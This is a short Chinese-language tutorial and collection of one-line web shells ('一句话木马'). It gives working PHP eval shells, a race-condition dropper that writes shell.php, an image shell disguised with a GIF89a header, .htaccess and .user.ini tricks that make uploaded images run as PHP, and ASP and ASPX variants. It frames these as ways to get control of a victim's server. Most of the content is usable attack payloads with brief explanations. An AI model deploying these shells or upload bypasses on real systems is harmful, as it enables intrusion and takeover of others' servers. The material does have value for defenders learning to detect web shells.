一句话木马
什么是一句话木马
  一句话木马是一种短小精悍的恶意代码,通常只有一行之长。
  这种木马可以以上传文件、修改配置等方式将恶意代码植入到受害者服务器上
  然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。
常见的一句话木马
我们接触的一句话木马大多为这种,它需要在PHP环境中才可使用
<?php @eval($_POST[cmd]);  ?>
木马原理
(1)$_POST[cmd]
    $_POST 是 PHP 中的一个超全局变量,POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
(2)eval()
    eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。
    该函数对php语法要求严格,所传入语句必须以" ; "号结尾
(3)@
    符号@的作用是屏蔽该语句的报错信息
    如果站点PHP版本>=8.0的话会报错
(4)脉络梳理
    用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码
可用于条件竞争的一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>
这段代码是用来创建一个名为shell.php的文件,并在其中写入一段代码。
这段代码的作用是接受一个POST请求中的cmd参数,并将其作为PHP代码执行。
图片马
木马内容
GIF89a
<?php @eval($_POST[cmd]);  ?>
 
//GIF89a 为了绕过可能存在的MIME头检测
.htaccess文件
<FilesMatch "jpg">  
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析
//无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行
.user.ini扩展文件
auto_prepend_file=shell.jpg
 
//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
//auto_append_file 是页尾包含
一句话木马收集
ASP一句话木马:
<% execute(request("value")) %>
PHP一句话木马:
<?php @eval($_POST['value']); ?>
变形后的PHP一句话木马:
<?php
  $x = $_GET['z'];
  @eval("$x;");
?>
ASPX一句话木马:
<%@ Page Language="Jscript" %>
<% eval(Request.Item["value"]) %>